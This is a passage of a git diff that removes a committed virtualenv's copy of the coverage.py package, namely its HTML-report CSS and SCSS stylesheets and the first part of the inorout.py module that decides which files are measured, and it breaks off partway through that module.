background: black; } } - -@media (prefers-color-scheme: dark) { header { border-color: #333; } } - -header .content { padding: 1rem 3.5rem; } - -header h2 { margin-top: .5em; font-size: 1em; } - -header h2 a.button { font-family: inherit; font-size: inherit; border: 1px solid; border-radius: .2em; background: #eee; color: inherit; text-decoration: none; padding: .1em .5em; margin: 1px calc(.1em + 1px); cursor: pointer; border-color: #ccc; } - -@media (prefers-color-scheme: dark) { header h2 a.button { background: #333; } } - -@media (prefers-color-scheme: dark) { header h2 a.button { border-color: #444; } } - -header h2 a.button.current { border: 2px solid; background: #fff; border-color: #999; cursor: default; } - -@media (prefers-color-scheme: dark) { header h2 a.button.current { background: #1e1e1e; } } - -@media (prefers-color-scheme: dark) { header h2 a.button.current { border-color: #777; } } - -header p.text { margin: .5em 0 -.5em; color: #666; font-style: italic; } - -@media (prefers-color-scheme: dark) { header p.text { color: #aaa; } } - -header.sticky { position: fixed; left: 0; right: 0; height: 2.5em; } - -header.sticky .text { display: none; } - -header.sticky h1, header.sticky h2 { font-size: 1em; margin-top: 0; display: inline-block; } - -header.sticky .content { padding: 0.5rem 3.5rem; } - -header.sticky .content p { font-size: 1em; } - -header.sticky ~ #source { padding-top: 6.5em; } - -main { position: relative; z-index: 1; } - -footer { margin: 1rem 3.5rem; } - -footer .content { padding: 0; color: #666; font-style: italic; } - -@media (prefers-color-scheme: dark) { footer .content { color: #aaa; } } - -#index { margin: 1rem 0 0 3.5rem; } - -h1 { font-size: 1.25em; display: inline-block; } - -#filter_container { float: right; margin: 0 2em 0 0; line-height: 1.66em; } - -#filter_container #filter { width: 10em; padding: 0.2em 0.5em; border: 2px solid #ccc; background: #fff; color: #000; } - -@media (prefers-color-scheme: dark) { #filter_container #filter { border-color: #444; } } - -@media (prefers-color-scheme: dark) { #filter_container #filter { background: #1e1e1e; } } - -@media (prefers-color-scheme: dark) { #filter_container #filter { color: #eee; } } - -#filter_container #filter:focus { border-color: #007acc; } - -#filter_container :disabled ~ label { color: #ccc; } - -@media (prefers-color-scheme: dark) { #filter_container :disabled ~ label { color: #444; } } - -#filter_container label { font-size: .875em; color: #666; } - -@media (prefers-color-scheme: dark) { #filter_container label { color: #aaa; } } - -header button { font-family: inherit; font-size: inherit; border: 1px solid; border-radius: .2em; background: #eee; color: inherit; text-decoration: none; padding: .1em .5em; margin: 1px calc(.1em + 1px); cursor: pointer; border-color: #ccc; } - -@media (prefers-color-scheme: dark) { header button { background: #333; } } - -@media (prefers-color-scheme: dark) { header button { border-color: #444; } } - -header button:active, header button:focus { outline: 2px dashed #007acc; } - -header button.run { background: #eeffee; } - -@media (prefers-color-scheme: dark) { header button.run { background: #373d29; } } - -header button.run.show_run { background: #dfd; border: 2px solid #00dd00; margin: 0 .1em; } - -@media (prefers-color-scheme: dark) { header button.run.show_run { background: #373d29; } } - -header button.mis { background: #ffeeee; } - -@media (prefers-color-scheme: dark) { header button.mis { background: #4b1818; } } - -header button.mis.show_mis { background: #fdd; border: 2px solid #ff0000; margin: 0 .1em; } - -@media (prefers-color-scheme: dark) { header button.mis.show_mis { background: #4b1818; } } - -header button.exc { background: #f7f7f7; } - -@media (prefers-color-scheme: dark) { header button.exc { background: #333; } } - -header button.exc.show_exc { background: #eee; border: 2px solid #808080; margin: 0 .1em; } - -@media (prefers-color-scheme: dark) { header button.exc.show_exc { background: #333; } } - -header button.par { background: #ffffd5; } - -@media (prefers-color-scheme: dark) { header button.par { background: #650; } } - -header button.par.show_par { background: #ffa; border: 2px solid #bbbb00; margin: 0 .1em; } - -@media (prefers-color-scheme: dark) { header button.par.show_par { background: #650; } } - -#help_panel, #source p .annotate.long { display: none; position: absolute; z-index: 999; background: #ffffcc; border: 1px solid #888; border-radius: .2em; color: #333; padding: .25em .5em; } - -#source p .annotate.long { white-space: normal; float: right; top: 1.75em; right: 1em; height: auto; } - -#help_panel_wrapper { float: right; position: relative; } - -#keyboard_icon { margin: 5px; } - -#help_panel_state { display: none; } - -#help_panel { top: 25px; right: 0; padding: .75em; border: 1px solid #883; color: #333; } - -#help_panel .keyhelp p { margin-top: .75em; } - -#help_panel .legend { font-style: italic; margin-bottom: 1em; } - -.indexfile #help_panel { width: 25em; } - -.pyfile #help_panel { width: 18em; } - -#help_panel_state:checked ~ #help_panel { display: block; } - -kbd { border: 1px solid black; border-color: #888 #333 #333 #888; padding: .1em .35em; font-family: SFMono-Regular, Menlo, Monaco, Consolas, monospace; font-weight: bold; background: #eee; border-radius: 3px; } - -#source { padding: 1em 0 1em 3.5rem; font-family: SFMono-Regular, Menlo, Monaco, Consolas, monospace; } - -#source p { position: relative; white-space: pre; } - -#source p * { box-sizing: border-box; } - -#source p .n { float: left; text-align: right; width: 3.5rem; box-sizing: border-box; margin-left: -3.5rem; padding-right: 1em; color: #999; user-select: none; } - -@media (prefers-color-scheme: dark) { #source p .n { color: #777; } } - -#source p .n.highlight { background: #ffdd00; } - -#source p .n a { scroll-margin-top: 6em; text-decoration: none; color: #999; } - -@media (prefers-color-scheme: dark) { #source p .n a { color: #777; } } - -#source p .n a:hover { text-decoration: underline; color: #999; } - -@media (prefers-color-scheme: dark) { #source p .n a:hover { color: #777; } } - -#source p .t { display: inline-block; width: 100%; box-sizing: border-box; margin-left: -.5em; padding-left: 0.3em; border-left: 0.2em solid #fff; } - -@media (prefers-color-scheme: dark) { #source p .t { border-color: #1e1e1e; } } - -#source p .t:hover { background: #f2f2f2; } - -@media (prefers-color-scheme: dark) { #source p .t:hover { background: #282828; } } - -#source p .t:hover ~ .r .annotate.long { display: block; } - -#source p .t .com { color: #008000; font-style: italic; line-height: 1px; } - -@media (prefers-color-scheme: dark) { #source p .t .com { color: #6a9955; } } - -#source p .t .key { font-weight: bold; line-height: 1px; } - -#source p .t .str, #source p .t .fst { color: #0451a5; } - -@media (prefers-color-scheme: dark) { #source p .t .str, #source p .t .fst { color: #9cdcfe; } } - -#source p.mis .t { border-left: 0.2em solid #ff0000; } - -#source p.mis.show_mis .t { background: #fdd; } - -@media (prefers-color-scheme: dark) { #source p.mis.show_mis .t { background: #4b1818; } } - -#source p.mis.show_mis .t:hover { background: #f2d2d2; } - -@media (prefers-color-scheme: dark) { #source p.mis.show_mis .t:hover { background: #532323; } } - -#source p.run .t { border-left: 0.2em solid #00dd00; } - -#source p.run.show_run .t { background: #dfd; } - -@media (prefers-color-scheme: dark) { #source p.run.show_run .t { background: #373d29; } } - -#source p.run.show_run .t:hover { background: #d2f2d2; } - -@media (prefers-color-scheme: dark) { #source p.run.show_run .t:hover { background: #404633; } } - -#source p.exc .t { border-left: 0.2em solid #808080; } - -#source p.exc.show_exc .t { background: #eee; } - -@media (prefers-color-scheme: dark) { #source p.exc.show_exc .t { background: #333; } } - -#source p.exc.show_exc .t:hover { background: #e2e2e2; } - -@media (prefers-color-scheme: dark) { #source p.exc.show_exc .t:hover { background: #3c3c3c; } } - -#source p.par .t { border-left: 0.2em solid #bbbb00; } - -#source p.par.show_par .t { background: #ffa; } - -@media (prefers-color-scheme: dark) { #source p.par.show_par .t { background: #650; } } - -#source p.par.show_par .t:hover { background: #f2f2a2; } - -@media (prefers-color-scheme: dark) { #source p.par.show_par .t:hover { background: #6d5d0c; } } - -#source p .r { position: absolute; top: 0; right: 2.5em; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; } - -#source p .annotate { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #666; padding-right: .5em; } - -@media (prefers-color-scheme: dark) { #source p .annotate { color: #ddd; } } - -#source p .annotate.short:hover ~ .long { display: block; } - -#source p .annotate.long { width: 30em; right: 2.5em; } - -#source p input { display: none; } - -#source p input ~ .r label.ctx { cursor: pointer; border-radius: .25em; } - -#source p input ~ .r label.ctx::before { content: "▶ "; } - -#source p input ~ .r label.ctx:hover { background: #e8f4ff; color: #666; } - -@media (prefers-color-scheme: dark) { #source p input ~ .r label.ctx:hover { background: #0f3a42; } } - -@media (prefers-color-scheme: dark) { #source p input ~ .r label.ctx:hover { color: #aaa; } } - -#source p input:checked ~ .r label.ctx { background: #d0e8ff; color: #666; border-radius: .75em .75em 0 0; padding: 0 .5em; margin: -.25em 0; } - -@media (prefers-color-scheme: dark) { #source p input:checked ~ .r label.ctx { background: #056; } } - -@media (prefers-color-scheme: dark) { #source p input:checked ~ .r label.ctx { color: #aaa; } } - -#source p input:checked ~ .r label.ctx::before { content: "▼ "; } - -#source p input:checked ~ .ctxs { padding: .25em .5em; overflow-y: scroll; max-height: 10.5em; } - -#source p label.ctx { color: #999; display: inline-block; padding: 0 .5em; font-size: .8333em; } - -@media (prefers-color-scheme: dark) { #source p label.ctx { color: #777; } } - -#source p .ctxs { display: block; max-height: 0; overflow-y: hidden; transition: all .2s; padding: 0 .5em; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; white-space: nowrap; background: #d0e8ff; border-radius: .25em; margin-right: 1.75em; text-align: right; } - -@media (prefers-color-scheme: dark) { #source p .ctxs { background: #056; } } - -#index { font-family: SFMono-Regular, Menlo, Monaco, Consolas, monospace; font-size: 0.875em; } - -#index table.index { margin-left: -.5em; } - -#index td, #index th { text-align: right; padding: .25em .5em; border-bottom: 1px solid #eee; } - -@media (prefers-color-scheme: dark) { #index td, #index th { border-color: #333; } } - -#index td.name, #index th.name { text-align: left; width: auto; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; min-width: 15em; } - -#index th { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-style: italic; color: #333; cursor: pointer; } - -@media (prefers-color-scheme: dark) { #index th { color: #ddd; } } - -#index th:hover { background: #eee; } - -@media (prefers-color-scheme: dark) { #index th:hover { background: #333; } } - -#index th .arrows { color: #666; font-size: 85%; font-family: sans-serif; font-style: normal; pointer-events: none; } - -#index th[aria-sort="ascending"], #index th[aria-sort="descending"] { white-space: nowrap; background: #eee; padding-left: .5em; } - -@media (prefers-color-scheme: dark) { #index th[aria-sort="ascending"], #index th[aria-sort="descending"] { background: #333; } } - -#index th[aria-sort="ascending"] .arrows::after { content: " ▲"; } - -#index th[aria-sort="descending"] .arrows::after { content: " ▼"; } - -#index td.name { font-size: 1.15em; } - -#index td.name a { text-decoration: none; color: inherit; } - -#index td.name .no-noun { font-style: italic; } - -#index tr.total td, #index tr.total_dynamic td { font-weight: bold; border-top: 1px solid #ccc; border-bottom: none; } - -#index tr.region:hover { background: #eee; } - -@media (prefers-color-scheme: dark) { #index tr.region:hover { background: #333; } } - -#index tr.region:hover td.name { text-decoration: underline; color: inherit; } - -#scroll_marker { position: fixed; z-index: 3; right: 0; top: 0; width: 16px; height: 100%; background: #fff; border-left: 1px solid #eee; will-change: transform; } - -@media (prefers-color-scheme: dark) { #scroll_marker { background: #1e1e1e; } } - -@media (prefers-color-scheme: dark) { #scroll_marker { border-color: #333; } } - -#scroll_marker .marker { background: #ccc; position: absolute; min-height: 3px; width: 100%; } - -@media (prefers-color-scheme: dark) { #scroll_marker .marker { background: #444; } } diff --git a/backend/venv/Lib/site-packages/coverage/htmlfiles/style.scss b/backend/venv/Lib/site-packages/coverage/htmlfiles/style.scss deleted file mode 100644 index 24dd97d1..00000000 --- a/backend/venv/Lib/site-packages/coverage/htmlfiles/style.scss +++ /dev/null @@ -1,760 +0,0 @@ -/* Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 */ -/* For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt */ - -// CSS styles for coverage.py HTML reports. - -// When you edit this file, you need to run "make css" to get the CSS file -// generated, and then check in both the .scss and the .css files. - -// When working on the file, this command is useful: -// sass --watch --style=compact --sourcemap=none --no-cache coverage/htmlfiles/style.scss:htmlcov/style.css -// -// OR you can process sass purely in python with `pip install pysass`, then: -// pysassc --style=compact coverage/htmlfiles/style.scss coverage/htmlfiles/style.css - -// Ignore this comment, it's for the CSS output file: -/* Don't edit this .css file. Edit the .scss file instead! */ - -// Dimensions -$left-gutter: 3.5rem; - -// -// Declare colors and variables -// - -$font-normal: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; -$font-code: SFMono-Regular, Menlo, Monaco, Consolas, monospace; - -$off-button-lighten: 50%; -$hover-dark-amt: 95%; - -$focus-color: #007acc; - -$mis-color: #ff0000; -$run-color: #00dd00; -$exc-color: #808080; -$par-color: #bbbb00; - -$light-bg: #fff; -$light-fg: #000; -$light-gray1: #f8f8f8; -$light-gray2: #eee; -$light-gray3: #ccc; -$light-gray4: #999; -$light-gray5: #666; -$light-gray6: #333; -$light-pln-bg: $light-bg; -$light-mis-bg: #fdd; -$light-run-bg: #dfd; -$light-exc-bg: $light-gray2; -$light-par-bg: #ffa; -$light-token-com: #008000; -$light-token-str: #0451a5; -$light-context-bg-color: #d0e8ff; - -$dark-bg: #1e1e1e; -$dark-fg: #eee; -$dark-gray1: #222; -$dark-gray2: #333; -$dark-gray3: #444; -$dark-gray4: #777; -$dark-gray5: #aaa; -$dark-gray6: #ddd; -$dark-pln-bg: $dark-bg; -$dark-mis-bg: #4b1818; -$dark-run-bg: #373d29; -$dark-exc-bg: $dark-gray2; -$dark-par-bg: #650; -$dark-token-com: #6a9955; -$dark-token-str: #9cdcfe; -$dark-context-bg-color: #056; - -// -// Mixins and utilities -// - -@mixin background-dark($color) { - @media (prefers-color-scheme: dark) { - background: $color; - } -} -@mixin color-dark($color) { - @media (prefers-color-scheme: dark) { - color: $color; - } -} -@mixin border-color-dark($color) { - @media (prefers-color-scheme: dark) { - border-color: $color; - } -} - -// Add visual outline to navigable elements on focus improve accessibility. -@mixin focus-border { - &:active, &:focus { - outline: 2px dashed $focus-color; - } -} - -@mixin button-shape { - font-family: inherit; - font-size: inherit; - border: 1px solid; - border-radius: .2em; - background: $light-gray2; - @include background-dark($dark-gray2); - color: inherit; - text-decoration: none; - padding: .1em .5em; - margin: 1px calc(.1em + 1px); - cursor: pointer; - border-color: $light-gray3; - @include border-color-dark($dark-gray3); -} - -// Page-wide styles -html, body, h1, h2, h3, p, table, td, th { - margin: 0; - padding: 0; - border: 0; - font-weight: inherit; - font-style: inherit; - font-size: 100%; - font-family: inherit; - vertical-align: baseline; -} - -// Set baseline grid to 16 pt. -body { - font-family: $font-normal; - font-size: 1em; - background: $light-bg; - color: $light-fg; - @include background-dark($dark-bg); - @include color-dark($dark-fg); -} - -html>body { - font-size: 16px; -} - -a { - @include focus-border; -} - -p { - font-size: .875em; - line-height: 1.4em; -} - -table { - border-collapse: collapse; -} -td { - vertical-align: top; -} -table tr.hidden { - display: none !important; -} - -p#no_rows { - display: none; - font-size: 1.15em; - font-family: $font-normal; -} - -a.nav { - text-decoration: none; - color: inherit; - - &:hover { - text-decoration: underline; - color: inherit; - } -} - -.hidden { - display: none; -} - -// Page structure -header { - background: $light-gray1; - @include background-dark(black); - width: 100%; - z-index: 2; - border-bottom: 1px solid $light-gray3; - @include border-color-dark($dark-gray2); - - .content { - padding: 1rem $left-gutter; - } - - h2 { - margin-top: .5em; - font-size: 1em; - - a.button { - @include button-shape; - &.current { - border: 2px solid; - background: $light-bg; - @include background-dark($dark-bg); - border-color: $light-gray4; - @include border-color-dark($dark-gray4); - cursor: default; - } - } - } - - p.text { - margin: .5em 0 -.5em; - color: $light-gray5; - @include color-dark($dark-gray5); - font-style: italic; - } - - &.sticky { - position: fixed; - left: 0; - right: 0; - height: 2.5em; - - .text { - display: none; - } - - h1, h2 { - font-size: 1em; - margin-top: 0; - display: inline-block; - } - - .content { - padding: .5rem $left-gutter; - p { - font-size: 1em; - } - } - - & ~ #source { - padding-top: 6.5em; - } - } -} - -main { - position: relative; - z-index: 1; -} - -footer { - margin: 1rem $left-gutter; - - .content { - padding: 0; - color: $light-gray5; - @include color-dark($dark-gray5); - font-style: italic; - } -} - -#index { - margin: 1rem 0 0 $left-gutter; -} - -// Header styles - -h1 { - font-size: 1.25em; - display: inline-block; -} - -#filter_container { - float: right; - margin: 0 2em 0 0; - line-height: 1.66em; - - #filter { - width: 10em; - padding: 0.2em 0.5em; - border: 2px solid $light-gray3; - background: $light-bg; - color: $light-fg; - @include border-color-dark($dark-gray3); - @include background-dark($dark-bg); - @include color-dark($dark-fg); - &:focus { - border-color: $focus-color; - } - } - - :disabled ~ label{ - color: $light-gray3; - @include color-dark($dark-gray3); - } - - label { - font-size: .875em; - color: $light-gray5; - @include color-dark($dark-gray5); - } -} - -header button { - @include button-shape; - @include focus-border; - - &.run { - background: mix($light-run-bg, $light-bg, $off-button-lighten); - @include background-dark($dark-run-bg); - &.show_run { - background: $light-run-bg; - @include background-dark($dark-run-bg); - border: 2px solid $run-color; - margin: 0 .1em; - } - } - &.mis { - background: mix($light-mis-bg, $light-bg, $off-button-lighten); - @include background-dark($dark-mis-bg); - &.show_mis { - background: $light-mis-bg; - @include background-dark($dark-mis-bg); - border: 2px solid $mis-color; - margin: 0 .1em; - } - } - &.exc { - background: mix($light-exc-bg, $light-bg, $off-button-lighten); - @include background-dark($dark-exc-bg); - &.show_exc { - background: $light-exc-bg; - @include background-dark($dark-exc-bg); - border: 2px solid $exc-color; - margin: 0 .1em; - } - } - &.par { - background: mix($light-par-bg, $light-bg, $off-button-lighten); - @include background-dark($dark-par-bg); - &.show_par { - background: $light-par-bg; - @include background-dark($dark-par-bg); - border: 2px solid $par-color; - margin: 0 .1em; - } - } -} - -// Yellow post-it things. -%popup { - display: none; - position: absolute; - z-index: 999; - background: #ffffcc; - border: 1px solid #888; - border-radius: .2em; - color: #333; - padding: .25em .5em; -} - -// Yellow post-it's in the text listings. -%in-text-popup { - @extend %popup; - white-space: normal; - float: right; - top: 1.75em; - right: 1em; - height: auto; -} - -// Help panel -#help_panel_wrapper { - float: right; - position: relative; -} - -#keyboard_icon { - margin: 5px; -} - -#help_panel_state { - display: none; -} - -#help_panel { - @extend %popup; - top: 25px; - right: 0; - padding: .75em; - border: 1px solid #883; - - color: #333; - - .keyhelp p { - margin-top: .75em; - } - - .legend { - font-style: italic; - margin-bottom: 1em; - } - - .indexfile & { - width: 25em; - } - - .pyfile & { - width: 18em; - } - - #help_panel_state:checked ~ & { - display: block; - } -} - -kbd { - border: 1px solid black; - border-color: #888 #333 #333 #888; - padding: .1em .35em; - font-family: $font-code; - font-weight: bold; - background: #eee; - border-radius: 3px; -} - -// Source file styles - -// The slim bar at the left edge of the source lines, colored by coverage. -$border-indicator-width: .2em; - -#source { - padding: 1em 0 1em $left-gutter; - font-family: $font-code; - - p { - // position relative makes position:absolute pop-ups appear in the right place. - position: relative; - white-space: pre; - - * { - box-sizing: border-box; - } - - .n { - float: left; - text-align: right; - width: $left-gutter; - box-sizing: border-box; - margin-left: -$left-gutter; - padding-right: 1em; - color: $light-gray4; - user-select: none; - @include color-dark($dark-gray4); - - &.highlight { - background: #ffdd00; - } - - a { - // Make anchors to the line scroll the line to be - // visible beneath the fixed-position header. - scroll-margin-top: 6em; - text-decoration: none; - color: $light-gray4; - @include color-dark($dark-gray4); - &:hover { - text-decoration: underline; - color: $light-gray4; - @include color-dark($dark-gray4); - } - } - } - - .t { - display: inline-block; - width: 100%; - box-sizing: border-box; - margin-left: -.5em; - padding-left: .5em - $border-indicator-width; - border-left: $border-indicator-width solid $light-bg; - @include border-color-dark($dark-bg); - - &:hover { - background: mix($light-pln-bg, $light-fg, $hover-dark-amt); - @include background-dark(mix($dark-pln-bg, $dark-fg, $hover-dark-amt)); - - & ~ .r .annotate.long { - display: block; - } - } - - // Syntax coloring - .com { - color: $light-token-com; - @include color-dark($dark-token-com); - font-style: italic; - line-height: 1px; - } - .key { - font-weight: bold; - line-height: 1px; - } - .str, .fst { - color: $light-token-str; - @include color-dark($dark-token-str); - } - } - - &.mis { - .t { - border-left: $border-indicator-width solid $mis-color; - } - - &.show_mis .t { - background: $light-mis-bg; - @include background-dark($dark-mis-bg); - - &:hover { - background: mix($light-mis-bg, $light-fg, $hover-dark-amt); - @include background-dark(mix($dark-mis-bg, $dark-fg, $hover-dark-amt)); - } - } - } - - &.run { - .t { - border-left: $border-indicator-width solid $run-color; - } - - &.show_run .t { - background: $light-run-bg; - @include background-dark($dark-run-bg); - - &:hover { - background: mix($light-run-bg, $light-fg, $hover-dark-amt); - @include background-dark(mix($dark-run-bg, $dark-fg, $hover-dark-amt)); - } - } - } - - &.exc { - .t { - border-left: $border-indicator-width solid $exc-color; - } - - &.show_exc .t { - background: $light-exc-bg; - @include background-dark($dark-exc-bg); - - &:hover { - background: mix($light-exc-bg, $light-fg, $hover-dark-amt); - @include background-dark(mix($dark-exc-bg, $dark-fg, $hover-dark-amt)); - } - } - } - - &.par { - .t { - border-left: $border-indicator-width solid $par-color; - } - - &.show_par .t { - background: $light-par-bg; - @include background-dark($dark-par-bg); - - &:hover { - background: mix($light-par-bg, $light-fg, $hover-dark-amt); - @include background-dark(mix($dark-par-bg, $dark-fg, $hover-dark-amt)); - } - } - - } - - .r { - position: absolute; - top: 0; - right: 2.5em; - font-family: $font-normal; - } - - .annotate { - font-family: $font-normal; - color: $light-gray5; - @include color-dark($dark-gray6); - padding-right: .5em; - - &.short:hover ~ .long { - display: block; - } - - &.long { - @extend %in-text-popup; - width: 30em; - right: 2.5em; - } - } - - input { - display: none; - - & ~ .r label.ctx { - cursor: pointer; - border-radius: .25em; - &::before { - content: "▶ "; - } - &:hover { - background: mix($light-context-bg-color, $light-bg, $off-button-lighten); - @include background-dark(mix($dark-context-bg-color, $dark-bg, $off-button-lighten)); - color: $light-gray5; - @include color-dark($dark-gray5); - } - } - - &:checked ~ .r label.ctx { - background: $light-context-bg-color; - @include background-dark($dark-context-bg-color); - color: $light-gray5; - @include color-dark($dark-gray5); - border-radius: .75em .75em 0 0; - padding: 0 .5em; - margin: -.25em 0; - &::before { - content: "▼ "; - } - } - - &:checked ~ .ctxs { - padding: .25em .5em; - overflow-y: scroll; - max-height: 10.5em; - } - } - - label.ctx { - color: $light-gray4; - @include color-dark($dark-gray4); - display: inline-block; - padding: 0 .5em; - font-size: .8333em; // 10/12 - } - - .ctxs { - display: block; - max-height: 0; - overflow-y: hidden; - transition: all .2s; - padding: 0 .5em; - font-family: $font-normal; - white-space: nowrap; - background: $light-context-bg-color; - @include background-dark($dark-context-bg-color); - border-radius: .25em; - margin-right: 1.75em; - text-align: right; - } - } -} - - -// index styles -#index { - font-family: $font-code; - font-size: 0.875em; - - table.index { - margin-left: -.5em; - } - td, th { - text-align: right; - padding: .25em .5em; - border-bottom: 1px solid $light-gray2; - @include border-color-dark($dark-gray2); - &.name { - text-align: left; - width: auto; - font-family: $font-normal; - min-width: 15em; - } - } - th { - font-family: $font-normal; - font-style: italic; - color: $light-gray6; - @include color-dark($dark-gray6); - cursor: pointer; - &:hover { - background: $light-gray2; - @include background-dark($dark-gray2); - } - .arrows { - color: #666; - font-size: 85%; - font-family: sans-serif; - font-style: normal; - pointer-events: none; - } - &[aria-sort="ascending"], &[aria-sort="descending"] { - white-space: nowrap; - background: $light-gray2; - @include background-dark($dark-gray2); - padding-left: .5em; - } - &[aria-sort="ascending"] .arrows::after { - content: " ▲"; - } - &[aria-sort="descending"] .arrows::after { - content: " ▼"; - } - } - td.name { - font-size: 1.15em; - a { - text-decoration: none; - color: inherit; - } - & .no-noun { - font-style: italic; - } - } - - tr.total td, - tr.total_dynamic td { - font-weight: bold; - border-top: 1px solid #ccc; - border-bottom: none; - } - tr.region:hover { - background: $light-gray2; - @include background-dark($dark-gray2); - td.name { - text-decoration: underline; - color: inherit; - } - } -} - -// scroll marker styles -#scroll_marker { - position: fixed; - z-index: 3; - right: 0; - top: 0; - width: 16px; - height: 100%; - background: $light-bg; - border-left: 1px solid $light-gray2; - @include background-dark($dark-bg); - @include border-color-dark($dark-gray2); - will-change: transform; // for faster scrolling of fixed element in Chrome - - .marker { - background: $light-gray3; - @include background-dark($dark-gray3); - position: absolute; - min-height: 3px; - width: 100%; - } -} diff --git a/backend/venv/Lib/site-packages/coverage/inorout.py b/backend/venv/Lib/site-packages/coverage/inorout.py deleted file mode 100644 index 9c5c2e0f..00000000 --- a/backend/venv/Lib/site-packages/coverage/inorout.py +++ /dev/null @@ -1,598 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Determining whether files are being measured/reported or not.""" - -from __future__ import annotations - -import importlib.util -import inspect -import itertools -import os -import os.path -import platform -import re -import sys -import sysconfig -import traceback - -from types import FrameType, ModuleType -from typing import ( - cast, Any, TYPE_CHECKING, -) -from collections.abc import Iterable - -from coverage import env -from coverage.disposition import FileDisposition, disposition_init -from coverage.exceptions import ConfigError, CoverageException, PluginError -from coverage.files import TreeMatcher, GlobMatcher, ModuleMatcher -from coverage.files import prep_patterns, find_python_files, canonical_filename -from coverage.misc import isolate_module, sys_modules_saved -from coverage.python import source_for_file, source_for_morf -from coverage.types import TFileDisposition, TMorf, TWarnFn, TDebugCtl - -if TYPE_CHECKING: - from coverage.config import CoverageConfig - from coverage.plugin_support import Plugins - - -modules_we_happen_to_have: list[ModuleType] = [ - inspect, itertools, os, platform, re, sysconfig, traceback, -] - -if env.PYPY: - # Pypy has some unusual stuff in the "stdlib". Consider those locations - # when deciding where the stdlib is. These modules are not used for anything, - # they are modules importable from the pypy lib directories, so that we can - # find those directories. - import _pypy_irc_topic # pylint: disable=import-error - import _structseq # pylint: disable=import-error - modules_we_happen_to_have.extend([_structseq, _pypy_irc_topic]) - - -os = isolate_module(os) - -def canonical_path(morf: TMorf, directory: bool = False) -> str: - """Return the canonical path of the module or file `morf`. - - If the module is a package, then return its directory. If it is a - module, then return its file, unless `directory` is True, in which - case return its enclosing directory. - - """ - morf_path = canonical_filename(source_for_morf(morf)) - if morf_path.endswith("__init__.py") or directory: - morf_path = os.path.split(morf_path)[0] - return morf_path - - -def name_for_module(filename: str, frame: FrameType | None) -> str | None: - """Get the name of the module for a filename and frame. - - For configurability's sake, we allow __main__ modules to be matched by - their importable name. - - If loaded via runpy (aka -m), we can usually recover the "original" - full dotted module name, otherwise, we resort to interpreting the - file name to get the module's name. In the case that the module name - can't be determined, None is returned. - - """ - module_globals = frame.f_globals if frame is not None else {} - dunder_name: str | None = module_globals.get("__name__", None) - - if isinstance(dunder_name, str) and dunder_name != "__main__": - # This is the usual case: an imported module. - return dunder_name - - spec = module_globals.get("__spec__", None) - if spec: - fullname = spec.name - if isinstance(fullname, str) and fullname != "__main__": - # Module loaded via: runpy -m - return fullname - - # Script as first argument to Python command line. - inspectedname = inspect.getmodulename(filename) - if inspectedname is not None: - return inspectedname - else: - return dunder_name - - -def module_is_namespace(mod: ModuleType) -> bool: - """Is the module object `mod` a PEP420 namespace module?""" - return hasattr(mod, "__path__") and getattr(mod, "__file__", None) is None - - -def module_has_file(mod: ModuleType) -> bool: - """Does the module object `mod` have an existing __file__ ?""" - mod__file__ = getattr(mod, "__file__", None) - if mod__file__ is None: - return False - return os.path.exists(mod__file__) - - -def file_and_path_for_module(modulename: str) -> tuple[str | None, list[str]]: - """Find the file and search path for `modulename`. - - Returns: - filename: The filename of the module, or None. - path: A list (possibly empty) of directories to find submodules in. - - """ - filename = None - path = [] - try: - spec = importlib.util.find_spec(modulename) - except Exception: - pass - else: - if spec is not None: - filename = spec.origin - path = list(spec.submodule_search_locations or ()) - return filename, path - - -def add_stdlib_paths(paths: set[str]) -> None: - """Add paths where the stdlib can be found to the set `paths`.""" - # Look at where some standard modules are located. That's the - # indication for "installed with the interpreter". In some - # environments (virtualenv, for example), these modules may be - # spread across a few locations. Look at all the candidate modules - # we've imported, and take all the different ones. - for m in modules_we_happen_to_have: - if hasattr(m, "__file__"): - paths.add(canonical_path(m, directory=True)) - - -def add_third_party_paths(paths: set[str]) -> None: - """Add locations for third-party packages to the set `paths`.""" - # Get the paths that sysconfig knows about. - scheme_names = set(sysconfig.get_scheme_names()) - - for scheme in scheme_names: - # https://foss.heptapod.net/pypy/pypy/-/issues/3433 - better_scheme = "pypy_posix" if scheme == "pypy" else scheme - if os.name in better_scheme.split("_"): - config_paths = sysconfig.get_paths(scheme) - for path_name in ["platlib", "purelib", "scripts"]: - paths.add(config_paths[path_name]) - - -def add_coverage_paths(paths: set[str]) -> None: - """Add paths where coverage.py code can be found to the set `paths`.""" - cover_path = canonical_path(__file__, directory=True) - paths.add(cover_path) - if env.TESTING: - # Don't include our own test code. - paths.add(os.path.join(cover_path, "tests")) - - -class InOrOut: - """Machinery for determining what files to measure.""" - - def __init__( - self, - config: CoverageConfig, - warn: TWarnFn, - debug: TDebugCtl | None, - include_namespace_packages: bool, - ) -> None: - self.warn = warn - self.debug = debug - self.include_namespace_packages = include_namespace_packages - - self.source_pkgs: list[str] = [] - self.source_pkgs.extend(config.source_pkgs) - self.source_dirs: list[str] = [] - self.source_dirs.extend(config.source_dirs) - for src in config.source or []: - if os.path.isdir(src): - self.source_dirs.append(src) - else: - self.source_pkgs.append(src) - - # Canonicalize everything in `source_dirs`. - # Also confirm that they actually are directories. - for i, src in enumerate(self.source_dirs): - if not os.path.isdir(src): - raise ConfigError(f"Source dir is not a directory: {src!r}") - self.source_dirs[i] = canonical_filename(src) - - self.source_pkgs_unmatched = self.source_pkgs[:] - - self.include = prep_patterns(config.run_include) - self.omit = prep_patterns(config.run_omit) - - # The directories for files considered "installed with the interpreter". - self.pylib_paths: set[str] = set() - if not config.cover_pylib: - 